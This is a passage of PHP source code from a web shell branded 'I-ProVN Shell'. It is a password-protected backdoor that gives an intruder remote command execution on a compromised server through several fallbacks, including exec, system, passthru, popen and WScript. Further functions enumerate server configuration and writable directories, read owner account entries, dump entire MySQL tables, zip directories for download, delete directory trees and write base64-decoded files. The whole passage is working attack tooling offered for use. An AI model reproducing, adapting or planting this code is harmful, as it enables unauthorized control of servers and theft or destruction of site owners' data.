1527 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1528 p('</p>');
1529 formfoot();
1530
1531 if ($command) {
1532 p('<hr width="100%" noshade /><pre>');
1533 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1534 $wsh = new COM('WScript.shell');
1535 $exec = $wsh->exec('cmd.exe /c '.$command);
1536 $stdout = $exec->StdOut();
1537 $stroutput = $stdout->ReadAll();
1538 echo $stroutput;
1539 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1540 $descriptorspec = array(
1541 0 => array('pipe', 'r'),
1542 1 => array('pipe', 'w'),
1543 2 => array('pipe', 'w')
1544 );
1545 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1546 if (is_resource($process)) {
1547 fwrite($pipes[0], $command."\r\n");
1548 fwrite($pipes[0], "exit\r\n");
1549 fclose($pipes[0]);
1550 while (!feof($pipes[1])) {
1551 echo fgets($pipes[1], 1024);
1552 }
1553 fclose($pipes[1]);
1554 while (!feof($pipes[2])) {
1555 echo fgets($pipes[2], 1024);
1556 }
1557 fclose($pipes[2]);
1558 proc_close($process);
1559 }
1560 } else {
1561 echo(execute($command));
1562 }
1563 p('</pre>');
1564 }
1565}//end shell
1566
1567elseif ($action == 'phpenv') {
1568 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1569 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1570 !$dis_func && $dis_func = 'No';
1571 $info = array(
1572 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1573 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1574 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1575 4 => array('Server OS',PHP_OS),
1576 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1577 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1578 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1579 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1580 9 => array('The file path',__FILE__),
1581
1582 10 => array('PHP Version',PHP_VERSION),
1583 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1584 12 => array('Safe Mode',getcfg('safe_mode')),
1585 13 => array('Administrator',$adminmail),
1586 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1587 15 => array('enable_dl',getcfg('enable_dl')),
1588 16 => array('display_errors',getcfg('display_errors')),
1589 17 => array('register_globals',getcfg('register_globals')),
1590 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1591 19 => array('memory_limit',getcfg('memory_limit')),
1592 20 => array('post_max_size',getcfg('post_max_size')),
1593 21 => array('upload_max_filesize',$upsize),
1594 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1595 23 => array('disable_functions',$dis_func),
1596 );
1597
1598 if($phpvarname) {
1599 m($phpvarname .' : '.getcfg($phpvarname));
1600 }
1601
1602 formhead(array('title'=>'Server environment'));
1603 makehide('action','phpenv');
1604 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1605 formfooter();
1606
1607 $hp = array(0=> 'Server', 1=> 'PHP');
1608 for($a=0;$a<2;$a++) {
1609 p('<h2>'.$hp[$a].' »</h2>');
1610 p('<ul class="info">');
1611 if ($a==0) {
1612 for($i=1;$i<=9;$i++) {
1613 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1614 }
1615 } elseif ($a == 1) {
1616 for($i=10;$i<=23;$i++) {
1617 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1618 }
1619 }
1620 p('</ul>');
1621 }
1622}//end phpenv
1623
1624else {
1625 m('Undefined Action');
1626}
1627
1628?>
1629
1630</td></tr></table>
1631<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
1632 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1633 Copyright (C) 2011-2012 <B></B> - Develop by <a href=http://i-provn.tk target=_blank><B>I-ProVN </B></a> - <B>- VN Security Team</B> All Rights Reserved.
1634</div>
1635</body>
1636</noscript>
1637
1638<?php
1639
1640/*======================================================
1641Show info shell
1642======================================================*/
1643
1644function m($msg) {
1645 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1646 echo $msg;
1647 echo '</div>';
1648}
1649function scookie($key, $value, $life = 0, $prefix = 1) {
1650 global $admin, $timestamp, $_SERVER;
1651 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1652 $life = $life ? $life : $admin['cookielife'];
1653 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1654 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1655}
1656function multi($num, $perpage, $curpage, $tablename) {
1657 $multipage = '';
1658 if($num > $perpage) {
1659 $page = 10;
1660 $offset = 5;
1661 $pages = @ceil($num / $perpage);
1662 if($page > $pages) {
1663 $from = 1;
1664 $to = $pages;
1665 } else {
1666 $from = $curpage - $offset;
1667 $to = $curpage + $page - $offset - 1;
1668 if($from < 1) {
1669 $to = $curpage + 1 - $from;
1670 $from = 1;
1671 if(($to - $from) < $page && ($to - $from) < $pages) {
1672 $to = $page;
1673 }
1674 } elseif($to > $pages) {
1675 $from = $curpage - $pages + $to;
1676 $to = $pages;
1677 if(($to - $from) < $page && ($to - $from) < $pages) {
1678 $from = $pages - $page + 1;
1679 }
1680 }
1681 }
1682 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1683 for($i = $from; $i <= $to; $i++) {
1684 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1685 }
1686 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1687 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1688 }
1689 return $multipage;
1690}
1691// Login page
1692function loginpage() {
1693?>
1694<html>
1695<head>
1696
1697<body bgcolor=black background=1.jpg>
1698
1699 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
1700<title>.::[ I-ProVN Shell ]::. </title>
1701<style type="text/css">
1702A:link {text-decoration: none; color: green }
1703A:visited {text-decoration: none;color:red}
1704A:active {text-decoration: none}
1705A:hover {text-decoration: underline; color: green;}
1706input, textarea, button
1707{
1708 font-size: 11pt;
1709 color: #FFFFFF;
1710 font-family: verdana, sans-serif;
1711 background-color: #000000;
1712 border-left: 2px dashed #8B0000;
1713 border-top: 2px dashed #8B0000;
1714 border-right: 2px dashed #8B0000;
1715 border-bottom: 2px dashed #8B0000;
1716}
1717
1718</style>
1719
1720 <BR><BR>
1721<div align=center >
1722
1723<div>
1724
1725<font color=gray>
1726<br /><br /><br /><br /><br />
1727
1728<form method="POST" action="">
1729 <span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
1730 <input type="hidden" name="doing" value="login">
1731 <input type="submit" value="Login">
1732 </form>
1733<BR>
1734<?php
1735echo "".$err_mess."";
1736?>
1737
1738 <B><font color=red>
1739
1740
1741
1742
1743
1744
1745</div>
1746
1747
1748 </fieldset>
1749
1750
1751
1752</head>
1753</html>
1754
1755<?php
1756 exit;
1757
1758}//end loginpage()
1759
1760function execute($cfe) {
1761 $res = '';
1762 if ($cfe) {
1763 if(function_exists('exec')) {
1764 @exec($cfe,$res);
1765 $res = join("\n",$res);
1766 } elseif(function_exists('shell_exec')) {
1767 $res = @shell_exec($cfe);
1768 } elseif(function_exists('system')) {
1769 @ob_start();
1770 @system($cfe);
1771 $res = @ob_get_contents();
1772 @ob_end_clean();
1773 } elseif(function_exists('passthru')) {
1774 @ob_start();
1775 @passthru($cfe);
1776 $res = @ob_get_contents();
1777 @ob_end_clean();
1778 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1779 $res = '';
1780 while(!@feof($f)) {
1781 $res .= @fread($f,1024);
1782 }
1783 @pclose($f);
1784 }
1785 }
1786 return $res;
1787}
1788function which($pr) {
1789 $path = execute("which $pr");
1790 return ($path ? $path : $pr);
1791}
1792
1793function cf($fname,$text){
1794 if($fp=@fopen($fname,'w')) {
1795 @fputs($fp,@base64_decode($text));
1796 @fclose($fp);
1797 }
1798}
1799
1800// Debug
1801function debuginfo() {
1802 global $starttime;
1803 $mtime = explode(' ', microtime());
1804 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1805 echo 'Processed in '.$totaltime.' second(s)';
1806}
1807
1808// Function connect database
1809function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1810 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1811 p('<h2>Can not connect to MySQL server</h2>');
1812 exit;
1813 }
1814 if($link && $dbname) {
1815 if (!@mysql_select_db($dbname, $link)) {
1816 p('<h2>Database selected has error</h2>');
1817 exit;
1818 }
1819 }
1820 if($link && mysql_get_server_info() > '4.1') {
1821 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1822 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1823 }
1824 }
1825 return $link;
1826}
1827
1828// Array strip
1829function s_array(&$array) {
1830 if (is_array($array)) {
1831 foreach ($array as $k => $v) {
1832 $array[$k] = s_array($v);
1833 }
1834 } else if (is_string($array)) {
1835 $array = stripslashes($array);
1836 }
1837 return $array;
1838}
1839
1840// HTML Strip
1841function html_clean($content) {
1842 $content = htmlspecialchars($content);
1843 $content = str_replace("\n", "<br />", $content);
1844 $content = str_replace(" ", " ", $content);
1845 $content = str_replace("\t", " ", $content);
1846 return $content;
1847}
1848
1849// Chmod
1850function getChmod($filepath){
1851 return substr(base_convert(@fileperms($filepath),10,8),-4);
1852}
1853
1854function getPerms($filepath) {
1855 $mode = @fileperms($filepath);
1856 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1857 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1858 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1859 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1860 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1861 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1862 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1863 else {$type = '?';}
1864
1865 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1866 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1867 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1868 $group['read'] = ($mode & 00040) ? 'r' : '-';
1869 $group['write'] = ($mode & 00020) ? 'w' : '-';
1870 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1871 $world['read'] = ($mode & 00004) ? 'r' : '-';
1872 $world['write'] = ($mode & 00002) ? 'w' : '-';
1873 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1874
1875 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1876 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1877 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1878
1879 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1880}
1881
1882function getUser($filepath) {
1883 if (function_exists('posix_getpwuid')) {
1884 $array = @posix_getpwuid(@fileowner($filepath));
1885 if ($array && is_array($array)) {
1886 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1887 }
1888 }
1889 return '';
1890}
1891
1892// Delete dir
1893function deltree($deldir) {
1894 $mydir=@dir($deldir);
1895 while($file=$mydir->read()) {
1896 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1897 @chmod($deldir.'/'.$file,0777);
1898 deltree($deldir.'/'.$file);
1899 }
1900 if (is_file($deldir.'/'.$file)) {
1901 @chmod($deldir.'/'.$file,0777);
1902 @unlink($deldir.'/'.$file);
1903 }
1904 }
1905 $mydir->close();
1906 @chmod($deldir,0777);
1907 return @rmdir($deldir) ? 1 : 0;
1908}
1909
1910// Background
1911function bg() {
1912 global $bgc;
1913 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1914}
1915
1916// Get path
1917function getPath($scriptpath, $nowpath) {
1918 if ($nowpath == '.') {
1919 $nowpath = $scriptpath;
1920 }
1921 $nowpath = str_replace('\\', '/', $nowpath);
1922 $nowpath = str_replace('//', '/', $nowpath);
1923 if (substr($nowpath, -1) != '/') {
1924 $nowpath = $nowpath.'/';
1925 }
1926 return $nowpath;
1927}
1928
1929// Get up path
1930function getUpPath($nowpath) {
1931 $pathdb = explode('/', $nowpath);
1932 $num = count($pathdb);
1933 if ($num > 2) {
1934 unset($pathdb[$num-1],$pathdb[$num-2]);
1935 }
1936 $uppath = implode('/', $pathdb).'/';
1937 $uppath = str_replace('//', '/', $uppath);
1938 return $uppath;
1939}
1940
1941// Config
1942function getcfg($varname) {
1943 $result = get_cfg_var($varname);
1944 if ($result == 0) {
1945 return 'No';
1946 } elseif ($result == 1) {
1947 return 'Yes';
1948 } else {
1949 return $result;
1950 }
1951}
1952
1953// Function name
1954function getfun($funName) {
1955 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1956}
1957
1958function GetList($dir){
1959 global $dirdata,$j,$nowpath;
1960 !$j && $j=1;
1961 if ($dh = opendir($dir)) {
1962 while ($file = readdir($dh)) {
1963 $f=str_replace('//','/',$dir.'/'.$file);
1964 if($file!='.' && $file!='..' && is_dir($f)){
1965 if (is_writable($f)) {
1966 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1967 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1968 $dirdata[$j]['dirchmod']=getChmod($f);
1969 $dirdata[$j]['dirperm']=getPerms($f);
1970 $dirdata[$j]['dirlink']=ue($dir);
1971 $dirdata[$j]['server_link']=$f;
1972 $dirdata[$j]['client_link']=ue($f);
1973 $j++;
1974 }
1975 GetList($f);
1976 }
1977 }
1978 closedir($dh);
1979 clearstatcache();
1980 return $dirdata;
1981 } else {
1982 return array();
1983 }
1984}
1985
1986function qy($sql) {
1987 //echo $sql.'<br>';
1988 $res = $error = '';
1989 if(!$res = @mysql_query($sql)) {
1990 return 0;
1991 } else if(is_resource($res)) {
1992 return 1;
1993 } else {
1994 return 2;
1995 }
1996 return 0;
1997}
1998
1999function q($sql) {
2000 return @mysql_query($sql);
2001}
2002
2003function fr($qy){
2004 mysql_free_result($qy);
2005}
2006
2007function sizecount($size) {
2008 if($size > 1073741824) {
2009 $size = round($size / 1073741824 * 100) / 100 . ' G';
2010 } elseif($size > 1048576) {
2011 $size = round($size / 1048576 * 100) / 100 . ' M';
2012 } elseif($size > 1024) {
2013 $size = round($size / 1024 * 100) / 100 . ' K';
2014 } else {
2015 $size = $size . ' B';
2016 }
2017 return $size;
2018}
2019
2020// Zip
2021class PHPZip{
2022 var $out='';
2023 function PHPZip($dir) {
2024 if (@function_exists('gzcompress')) {
2025 $curdir = getcwd();
2026 if (is_array($dir)) $filelist = $dir;
2027 else{
2028 $filelist=$this -> GetFileList($dir);//File list
2029 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
2030 }
2031 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
2032 else chdir($curdir);
2033 if (count($filelist)>0){
2034 foreach($filelist as $filename){
2035 if (is_file($filename)){
2036 $fd = fopen ($filename, 'r');
2037 $content = @fread ($fd, filesize($filename));
2038 fclose ($fd);
2039 if (is_array($dir)) $filename = basename($filename);
2040 $this -> addFile($content, $filename);
2041 }
2042 }
2043 $this->out = $this -> file();
2044 chdir($curdir);
2045 }
2046 return 1;
2047 }
2048 else return 0;
2049 }
2050
2051 // Show file list
2052 function GetFileList($dir){
2053 static $a;
2054 if (is_dir($dir)) {
2055 if ($dh = opendir($dir)) {
2056 while ($file = readdir($dh)) {
2057 if($file!='.' && $file!='..'){
2058 $f=$dir .'/'. $file;
2059 if(is_dir($f)) $this->GetFileList($f);
2060 $a[]=$f;
2061 }
2062 }
2063 closedir($dh);
2064 }
2065 }
2066 return $a;
2067 }
2068
2069 var $datasec = array();
2070 var $ctrl_dir = array();
2071 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
2072 var $old_offset = 0;
2073
2074 function unix2DosTime($unixtime = 0) {
2075 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2076 if ($timearray['year'] < 1980) {
2077 $timearray['year'] = 1980;
2078 $timearray['mon'] = 1;
2079 $timearray['mday'] = 1;
2080 $timearray['hours'] = 0;
2081 $timearray['minutes'] = 0;
2082 $timearray['seconds'] = 0;
2083 } // end if
2084 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
2085 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2086 }
2087
2088 function addFile($data, $name, $time = 0) {
2089 $name = str_replace('\\', '/', $name);
2090
2091 $dtime = dechex($this->unix2DosTime($time));
2092 $hexdtime = '\x' . $dtime[6] . $dtime[7]
2093 . '\x' . $dtime[4] . $dtime[5]
2094 . '\x' . $dtime[2] . $dtime[3]
2095 . '\x' . $dtime[0] . $dtime[1];
2096 eval('$hexdtime = "' . $hexdtime . '";');
2097 $fr = "\x50\x4b\x03\x04";
2098 $fr .= "\x14\x00";
2099 $fr .= "\x00\x00";
2100 $fr .= "\x08\x00";
2101 $fr .= $hexdtime;
2102
2103 $unc_len = strlen($data);
2104 $crc = crc32($data);
2105 $zdata = gzcompress($data);
2106 $c_len = strlen($zdata);
2107 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2108 $fr .= pack('V', $crc);
2109 $fr .= pack('V', $c_len);
2110 $fr .= pack('V', $unc_len);
2111 $fr .= pack('v', strlen($name));
2112 $fr .= pack('v', 0);
2113 $fr .= $name;
2114 $fr .= $zdata;
2115 $fr .= pack('V', $crc);
2116 $fr .= pack('V', $c_len);
2117 $fr .= pack('V', $unc_len);
2118
2119 $this -> datasec[] = $fr;
2120 $new_offset = strlen(implode('', $this->datasec));
2121
2122 $cdrec = "\x50\x4b\x01\x02";
2123 $cdrec .= "\x00\x00";
2124 $cdrec .= "\x14\x00";
2125 $cdrec .= "\x00\x00";
2126 $cdrec .= "\x08\x00";
2127 $cdrec .= $hexdtime;
2128 $cdrec .= pack('V', $crc);
2129 $cdrec .= pack('V', $c_len);
2130 $cdrec .= pack('V', $unc_len);
2131 $cdrec .= pack('v', strlen($name) );
2132 $cdrec .= pack('v', 0 );
2133 $cdrec .= pack('v', 0 );
2134 $cdrec .= pack('v', 0 );
2135 $cdrec .= pack('v', 0 );
2136 $cdrec .= pack('V', 32 );
2137 $cdrec .= pack('V', $this -> old_offset );
2138 $this -> old_offset = $new_offset;
2139 $cdrec .= $name;
2140
2141 $this -> ctrl_dir[] = $cdrec;
2142 }
2143
2144 function file() {
2145 $data = implode('', $this -> datasec);
2146 $ctrldir = implode('', $this -> ctrl_dir);
2147 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
2148 }
2149}
2150
2151// Dump mysql
2152function sqldumptable($table, $fp=0) {
2153 $tabledump = "DROP TABLE IF EXISTS $table;\n";
2154 $tabledump .= "CREATE TABLE $table (\n";
2155
2156 $firstfield=1;
2157
2158 $fields = q("SHOW FIELDS FROM $table");
2159 while ($field = mysql_fetch_array($fields)) {
2160 if (!$firstfield) {
2161 $tabledump .= ",\n";
2162 } else {
2163 $firstfield=0;
2164 }
2165 $tabledump .= " $field[Field] $field[Type]";
2166 if (!empty($field["Default"])) {
2167 $tabledump .= " DEFAULT '$field[Default]'";
2168 }
2169 if ($field['Null'] != "YES") {
2170 $tabledump .= " NOT NULL";
2171 }
2172 if ($field['Extra'] != "") {
2173 $tabledump .= " $field[Extra]";
2174 }
2175 }
2176 fr($fields);
2177
2178 $keys = q("SHOW KEYS FROM $table");
2179 while ($key = mysql_fetch_array($keys)) {
2180 $kname=$key['Key_name'];
2181 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2182 $kname="UNIQUE|$kname";
2183 }
2184 if(!is_array($index[$kname])) {
2185 $index[$kname] = array();
2186 }
2187 $index[$kname][] = $key['Column_name'];
2188 }
2189 fr($keys);
2190
2191 while(list($kname, $columns) = @each($index)) {
2192 $tabledump .= ",\n";
2193 $colnames=implode($columns,",");
2194
2195 if ($kname == "PRIMARY") {
2196 $tabledump .= " PRIMARY KEY ($colnames)";
2197 } else {
2198 if (substr($kname,0,6) == "UNIQUE") {
2199 $kname=substr($kname,7);
2200 }
2201 $tabledump .= " KEY $kname ($colnames)";
2202 }
2203 }
2204
2205 $tabledump .= "\n);\n\n";
2206 if ($fp) {
2207 fwrite($fp,$tabledump);
2208 } else {
2209 echo $tabledump;
2210 }
2211
2212 $rows = q("SELECT * FROM $table");
2213 $numfields = mysql_num_fields($rows);
2214 while ($row = mysql_fetch_array($rows)) {
2215 $tabledump = "INSERT INTO $table VALUES(";
2216
2217 $fieldcounter=-1;
2218 $firstfield=1;
2219 while (++$fieldcounter<$numfields) {
2220 if (!$firstfield) {
2221 $tabledump.=", ";
2222 } else {
2223 $firstfield=0;
2224 }
2225
2226 if (!isset($row[$fieldcounter])) {
2227 $tabledump .= "NULL";
2228 } else {
2229 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
2230 }
2231 }
2232
2233 $tabledump .= ");\n";
2234
2235 if ($fp) {
2236 fwrite($fp,$tabledump);
2237 } else {
2238 echo $tabledump;
2239 }
2240 }
2241 fr($rows);
2242 if ($fp) {
2243 fwrite($fp,"\n");
2244 } else {
2245 echo "\n";
2246 }
2247}
2248
2249function ue($str){
2250 return urlencode($str);
2251}
2252
2253function p($str){
2254 echo $str."\n";
2255}
2256
2257function tbhead() {
2258 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2259}
2260function tbfoot(){
2261 p('</table>');
2262}
2263
2264function makehide($name,$value=''){
2265 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2266}
2267
2268function makeinput($arg = array()){
2269 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2270 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2271 !$arg['type'] && $arg['type'] = 'text';
2272 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2273 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2274 if ($arg['newline']) {
2275 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2276 } else {
2277 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2278 }
2279}
2280
2281function makeselect($arg = array()){
2282 if ($arg['onchange']) {
2283 $onchange = 'onchange="'.$arg['onchange'].'"';
2284 }
2285 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2286 if ($arg['newline']) p('<p>');
2287 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2288 if (is_array($arg['option'])) {
2289 foreach ($arg['option'] as $key=>$value) {
2290 if ($arg['selected']==$key) {
2291 p("<option value=\"$key\" selected>$value</option>");
2292 } else {
2293 p("<option value=\"$key\">$value</option>");
2294 }
2295 }
2296 }
2297 p("</select>");
2298 if ($arg['newline']) p('</p>');
2299}
2300function formhead($arg = array()) {
2301 !$arg['method'] && $arg['method'] = 'post';
2302 !$arg['action'] && $arg['action'] = $self;
2303 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2304 !$arg['name'] && $arg['name'] = 'form1';
2305 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2306 if ($arg['title']) {
2307 p('<h2>'.$arg['title'].' »</h2>');
2308 }
2309}
2310
2311function maketext($arg = array()){
2312 !$arg['cols'] && $arg['cols'] = 100;
2313 !$arg['rows'] && $arg['rows'] = 25;
2314 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2315 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2316}
2317
2318function formfooter($name = ''){
2319 !$name && $name = 'submit';
2320 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
2321 p('</form>');
2322}
2323
2324function formfoot(){
2325 p('</form>');
2326}
2327
2328// Exit
2329function pr($a) {
2330 echo '<pre>';
2331 print_r($a);
2332 echo '</pre>';
2333}
2334?>